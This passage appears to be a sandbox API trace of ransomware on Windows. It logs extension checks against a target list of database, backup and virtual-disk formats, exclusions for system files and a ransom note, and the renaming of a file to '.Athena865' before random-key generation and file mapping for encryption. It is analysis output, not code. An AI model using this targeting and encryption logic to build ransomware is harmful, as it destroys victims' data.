(lpString1="jpg", lpString2="abx") returned 1 [0049.620] lstrlenW (lpString="accdb") returned 5 [0049.620] lstrcmpiW (lpString1="O.jpg", lpString2="accdb") returned 1 [0049.620] lstrlenW (lpString="accdc") returned 5 [0049.620] lstrcmpiW (lpString1="O.jpg", lpString2="accdc") returned 1 [0049.620] lstrlenW (lpString="accde") returned 5 [0049.620] lstrcmpiW (lpString1="O.jpg", lpString2="accde") returned 1 [0049.620] lstrlenW (lpString="accdr") returned 5 [0049.620] lstrcmpiW (lpString1="O.jpg", lpString2="accdr") returned 1 [0049.620] lstrlenW (lpString="accdt") returned 5 [0049.620] lstrcmpiW (lpString1="O.jpg", lpString2="accdt") returned 1 [0049.620] lstrlenW (lpString="accdw") returned 5 [0049.620] lstrcmpiW (lpString1="O.jpg", lpString2="accdw") returned 1 [0049.620] lstrlenW (lpString="accft") returned 5 [0049.620] lstrcmpiW (lpString1="O.jpg", lpString2="accft") returned 1 [0049.620] lstrlenW (lpString="adb") returned 3 [0049.620] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0049.620] lstrlenW (lpString="adb") returned 3 [0049.620] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0049.620] lstrlenW (lpString="ade") returned 3 [0049.620] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0049.620] lstrlenW (lpString="adf") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0049.621] lstrlenW (lpString="adn") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0049.621] lstrlenW (lpString="adp") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0049.621] lstrlenW (lpString="alf") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0049.621] lstrlenW (lpString="ask") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0049.621] lstrlenW (lpString="btr") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0049.621] lstrlenW (lpString="cat") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0049.621] lstrlenW (lpString="cdb") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0049.621] lstrlenW (lpString="ckp") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0049.621] lstrlenW (lpString="cma") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0049.621] lstrlenW (lpString="cpd") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0049.621] lstrlenW (lpString="dacpac") returned 6 [0049.621] lstrcmpiW (lpString1="gO.jpg", lpString2="dacpac") returned 1 [0049.621] lstrlenW (lpString="dad") returned 3 [0049.621] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0049.621] lstrlenW (lpString="dadiagrams") returned 10 [0049.621] lstrcmpiW (lpString1="k8vsgO.jpg", lpString2="dadiagrams") returned 1 [0049.621] lstrlenW (lpString="daschema") returned 8 [0049.621] lstrcmpiW (lpString1="vsgO.jpg", lpString2="daschema") returned 1 [0049.621] lstrlenW (lpString="db-journal") returned 10 [0049.621] lstrcmpiW (lpString1="k8vsgO.jpg", lpString2="db-journal") returned 1 [0049.621] lstrlenW (lpString="db-shm") returned 6 [0049.621] lstrcmpiW (lpString1="gO.jpg", lpString2="db-shm") returned 1 [0049.621] lstrlenW (lpString="db-wal") returned 6 [0049.622] lstrcmpiW (lpString1="gO.jpg", lpString2="db-wal") returned 1 [0049.622] lstrlenW (lpString="dbc") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0049.622] lstrlenW (lpString="dbs") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0049.622] lstrlenW (lpString="dbt") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0049.622] lstrlenW (lpString="dbv") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0049.622] lstrlenW (lpString="dbx") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0049.622] lstrlenW (lpString="dcb") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0049.622] lstrlenW (lpString="dct") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1 [0049.622] lstrlenW (lpString="dcx") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1 [0049.622] lstrlenW (lpString="ddl") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1 [0049.622] lstrlenW (lpString="dlis") returned 4 [0049.622] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1 [0049.622] lstrlenW (lpString="dp1") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1 [0049.622] lstrlenW (lpString="dqy") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1 [0049.622] lstrlenW (lpString="dsk") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1 [0049.622] lstrlenW (lpString="dsn") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1 [0049.622] lstrlenW (lpString="dtsx") returned 4 [0049.622] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1 [0049.622] lstrlenW (lpString="dxl") returned 3 [0049.622] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1 [0049.623] lstrlenW (lpString="eco") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1 [0049.623] lstrlenW (lpString="ecx") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1 [0049.623] lstrlenW (lpString="edb") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1 [0049.623] lstrlenW (lpString="epim") returned 4 [0049.623] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1 [0049.623] lstrlenW (lpString="fcd") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1 [0049.623] lstrlenW (lpString="fdb") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1 [0049.623] lstrlenW (lpString="fic") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1 [0049.623] lstrlenW (lpString="flexolibrary") returned 12 [0049.623] lstrcmpiW (lpString1="CEk8vsgO.jpg", lpString2="flexolibrary") returned -1 [0049.623] lstrlenW (lpString="fm5") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1 [0049.623] lstrlenW (lpString="fmp") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1 [0049.623] lstrlenW (lpString="fmp12") returned 5 [0049.623] lstrcmpiW (lpString1="O.jpg", lpString2="fmp12") returned 1 [0049.623] lstrlenW (lpString="fmpsl") returned 5 [0049.623] lstrcmpiW (lpString1="O.jpg", lpString2="fmpsl") returned 1 [0049.623] lstrlenW (lpString="fol") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1 [0049.623] lstrlenW (lpString="fp3") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1 [0049.623] lstrlenW (lpString="fp4") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1 [0049.623] lstrlenW (lpString="fp5") returned 3 [0049.623] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1 [0049.623] lstrlenW (lpString="fp7") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1 [0049.624] lstrlenW (lpString="fpt") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1 [0049.624] lstrlenW (lpString="frm") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1 [0049.624] lstrlenW (lpString="gdb") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0049.624] lstrlenW (lpString="gdb") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0049.624] lstrlenW (lpString="grdb") returned 4 [0049.624] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1 [0049.624] lstrlenW (lpString="gwi") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1 [0049.624] lstrlenW (lpString="hdb") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1 [0049.624] lstrlenW (lpString="his") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1 [0049.624] lstrlenW (lpString="ib") returned 2 [0049.624] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1 [0049.624] lstrlenW (lpString="idb") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1 [0049.624] lstrlenW (lpString="ihx") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1 [0049.624] lstrlenW (lpString="itdb") returned 4 [0049.624] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1 [0049.624] lstrlenW (lpString="itw") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1 [0049.624] lstrlenW (lpString="jet") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1 [0049.624] lstrlenW (lpString="jtx") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1 [0049.624] lstrlenW (lpString="kdb") returned 3 [0049.624] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1 [0049.625] lstrlenW (lpString="kexi") returned 4 [0049.625] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1 [0049.625] lstrlenW (lpString="kexic") returned 5 [0049.625] lstrcmpiW (lpString1="O.jpg", lpString2="kexic") returned 1 [0049.625] lstrlenW (lpString="kexis") returned 5 [0049.625] lstrcmpiW (lpString1="O.jpg", lpString2="kexis") returned 1 [0049.625] lstrlenW (lpString="lgc") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1 [0049.625] lstrlenW (lpString="lwx") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1 [0049.625] lstrlenW (lpString="maf") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1 [0049.625] lstrlenW (lpString="maq") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1 [0049.625] lstrlenW (lpString="mar") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1 [0049.625] lstrlenW (lpString="marshal") returned 7 [0049.625] lstrcmpiW (lpString1="sgO.jpg", lpString2="marshal") returned 1 [0049.625] lstrlenW (lpString="mas") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1 [0049.625] lstrlenW (lpString="mav") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1 [0049.625] lstrlenW (lpString="maw") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1 [0049.625] lstrlenW (lpString="mdbhtml") returned 7 [0049.625] lstrcmpiW (lpString1="sgO.jpg", lpString2="mdbhtml") returned 1 [0049.625] lstrlenW (lpString="mdn") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1 [0049.625] lstrlenW (lpString="mdt") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1 [0049.625] lstrlenW (lpString="mfd") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1 [0049.625] lstrlenW (lpString="mpd") returned 3 [0049.625] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1 [0049.626] lstrlenW (lpString="mrg") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1 [0049.626] lstrlenW (lpString="mud") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1 [0049.626] lstrlenW (lpString="mwb") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1 [0049.626] lstrlenW (lpString="myd") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1 [0049.626] lstrlenW (lpString="ndf") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1 [0049.626] lstrlenW (lpString="nnt") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1 [0049.626] lstrlenW (lpString="nrmlib") returned 6 [0049.626] lstrcmpiW (lpString1="gO.jpg", lpString2="nrmlib") returned -1 [0049.626] lstrlenW (lpString="ns2") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1 [0049.626] lstrlenW (lpString="ns3") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1 [0049.626] lstrlenW (lpString="ns4") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1 [0049.626] lstrlenW (lpString="nsf") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1 [0049.626] lstrlenW (lpString="nv") returned 2 [0049.626] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1 [0049.626] lstrlenW (lpString="nv2") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1 [0049.626] lstrlenW (lpString="nwdb") returned 4 [0049.626] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1 [0049.626] lstrlenW (lpString="nyf") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1 [0049.626] lstrlenW (lpString="odb") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0049.626] lstrlenW (lpString="odb") returned 3 [0049.626] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0049.627] lstrlenW (lpString="oqy") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1 [0049.627] lstrlenW (lpString="ora") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1 [0049.627] lstrlenW (lpString="orx") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1 [0049.627] lstrlenW (lpString="owc") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1 [0049.627] lstrlenW (lpString="p96") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1 [0049.627] lstrlenW (lpString="p97") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1 [0049.627] lstrlenW (lpString="pan") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1 [0049.627] lstrlenW (lpString="pdb") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1 [0049.627] lstrlenW (lpString="pdm") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1 [0049.627] lstrlenW (lpString="pnz") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1 [0049.627] lstrlenW (lpString="qry") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1 [0049.627] lstrlenW (lpString="qvd") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1 [0049.627] lstrlenW (lpString="rbf") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1 [0049.627] lstrlenW (lpString="rctd") returned 4 [0049.627] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1 [0049.627] lstrlenW (lpString="rod") returned 3 [0049.627] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1 [0049.627] lstrlenW (lpString="rodx") returned 4 [0049.627] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1 [0049.628] lstrlenW (lpString="rpd") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1 [0049.628] lstrlenW (lpString="rsd") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1 [0049.628] lstrlenW (lpString="sas7bdat") returned 8 [0049.628] lstrcmpiW (lpString1="vsgO.jpg", lpString2="sas7bdat") returned 1 [0049.628] lstrlenW (lpString="sbf") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1 [0049.628] lstrlenW (lpString="scx") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1 [0049.628] lstrlenW (lpString="sdb") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1 [0049.628] lstrlenW (lpString="sdc") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1 [0049.628] lstrlenW (lpString="sdf") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1 [0049.628] lstrlenW (lpString="sis") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1 [0049.628] lstrlenW (lpString="spq") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1 [0049.628] lstrlenW (lpString="te") returned 2 [0049.628] lstrcmpiW (lpString1="pg", lpString2="te") returned -1 [0049.628] lstrlenW (lpString="teacher") returned 7 [0049.628] lstrcmpiW (lpString1="sgO.jpg", lpString2="teacher") returned -1 [0049.628] lstrlenW (lpString="tmd") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1 [0049.628] lstrlenW (lpString="tps") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1 [0049.628] lstrlenW (lpString="trc") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0049.628] lstrlenW (lpString="trc") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0049.628] lstrlenW (lpString="trm") returned 3 [0049.628] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1 [0049.629] lstrlenW (lpString="udb") returned 3 [0049.629] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1 [0049.629] lstrlenW (lpString="udl") returned 3 [0049.629] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1 [0049.629] lstrlenW (lpString="usr") returned 3 [0049.629] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1 [0049.629] lstrlenW (lpString="v12") returned 3 [0049.629] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1 [0049.629] lstrlenW (lpString="vis") returned 3 [0049.629] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1 [0049.629] lstrlenW (lpString="vpd") returned 3 [0049.629] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1 [0049.629] lstrlenW (lpString="vvv") returned 3 [0049.629] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1 [0049.629] lstrlenW (lpString="wdb") returned 3 [0049.629] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1 [0049.629] lstrlenW (lpString="wmdb") returned 4 [0049.629] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1 [0049.629] lstrlenW (lpString="wrk") returned 3 [0049.629] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1 [0049.629] lstrlenW (lpString="xdb") returned 3 [0049.629] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1 [0049.629] lstrlenW (lpString="xld") returned 3 [0049.629] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1 [0049.629] lstrlenW (lpString="xmlff") returned 5 [0049.629] lstrcmpiW (lpString1="O.jpg", lpString2="xmlff") returned -1 [0049.629] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2sUrCEk8vsgO.jpg.Athena865") returned 90 [0049.629] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2sUrCEk8vsgO.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2surcek8vsgo.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2sUrCEk8vsgO.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2surcek8vsgo.jpg.athena865"), dwFlags=0x1) returned 1 [0049.630] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2sUrCEk8vsgO.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2surcek8vsgo.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.630] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37209) returned 1 [0049.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.631] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.631] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.631] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.632] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9460, lpName=0x0) returned 0x17c [0049.632] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9460) returned 0x100000 [0049.633] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.634] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.634] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.635] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.635] CloseHandle (hObject=0x17c) returned 1 [0049.635] CloseHandle (hObject=0x154) returned 1 [0049.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.637] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb554fa0, ftCreationTime.dwHighDateTime=0x1d4c5e5, ftLastAccessTime.dwLowDateTime=0x4e6468e0, ftLastAccessTime.dwHighDateTime=0x1d4d210, ftLastWriteTime.dwLowDateTime=0x4e6468e0, ftLastWriteTime.dwHighDateTime=0x1d4d210, nFileSizeHigh=0x0, nFileSizeLow=0x545e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7wqky.mp4", cAlternateFileName="")) returned 1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2=".") returned 1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="..") returned 1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="windows") returned -1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="bootmgr") returned -1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="temp") returned -1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="pagefile.sys") returned -1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="boot") returned -1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="ids.txt") returned -1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="ntuser.dat") returned -1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="perflogs") returned -1 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2="MSBuild") returned -1 [0049.637] lstrlenW (lpString="7wqky.mp4") returned 9 [0049.637] lstrcpyW (in: lpString1=0x241e8c8, lpString2="7wqky.mp4" | out: lpString1="7wqky.mp4") returned="7wqky.mp4" [0049.637] lstrlenW (lpString="7wqky.mp4") returned 9 [0049.637] lstrlenW (lpString="Athena865") returned 9 [0049.637] lstrlenW (lpString=".dll") returned 4 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2=".dll") returned 1 [0049.637] lstrlenW (lpString=".lnk") returned 4 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2=".lnk") returned 1 [0049.637] lstrlenW (lpString=".ini") returned 4 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2=".ini") returned 1 [0049.637] lstrlenW (lpString=".sys") returned 4 [0049.637] lstrcmpiW (lpString1="7wqky.mp4", lpString2=".sys") returned 1 [0049.637] lstrlenW (lpString="7wqky.mp4") returned 9 [0049.637] lstrlenW (lpString="bak") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="bak") returned 1 [0049.638] lstrlenW (lpString="ba_") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="ba_") returned 1 [0049.638] lstrlenW (lpString="dbb") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="dbb") returned 1 [0049.638] lstrlenW (lpString="vmdk") returned 4 [0049.638] lstrcmpiW (lpString1=".mp4", lpString2="vmdk") returned -1 [0049.638] lstrlenW (lpString="rar") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="rar") returned -1 [0049.638] lstrlenW (lpString="zip") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="zip") returned -1 [0049.638] lstrlenW (lpString="tgz") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="tgz") returned -1 [0049.638] lstrlenW (lpString="vbox") returned 4 [0049.638] lstrcmpiW (lpString1=".mp4", lpString2="vbox") returned -1 [0049.638] lstrlenW (lpString="vdi") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="vdi") returned -1 [0049.638] lstrlenW (lpString="vhd") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="vhd") returned -1 [0049.638] lstrlenW (lpString="vhdx") returned 4 [0049.638] lstrcmpiW (lpString1=".mp4", lpString2="vhdx") returned -1 [0049.638] lstrlenW (lpString="avhd") returned 4 [0049.638] lstrcmpiW (lpString1=".mp4", lpString2="avhd") returned -1 [0049.638] lstrlenW (lpString="db") returned 2 [0049.638] lstrcmpiW (lpString1="p4", lpString2="db") returned 1 [0049.638] lstrlenW (lpString="db2") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="db2") returned 1 [0049.638] lstrlenW (lpString="db3") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="db3") returned 1 [0049.638] lstrlenW (lpString="dbf") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="dbf") returned 1 [0049.638] lstrlenW (lpString="mdf") returned 3 [0049.638] lstrcmpiW (lpString1="mp4", lpString2="mdf") returned 1 [0049.639] lstrlenW (lpString="mdb") returned 3 [0049.639] lstrcmpiW (lpString1="mp4", lpString2="mdb") returned 1 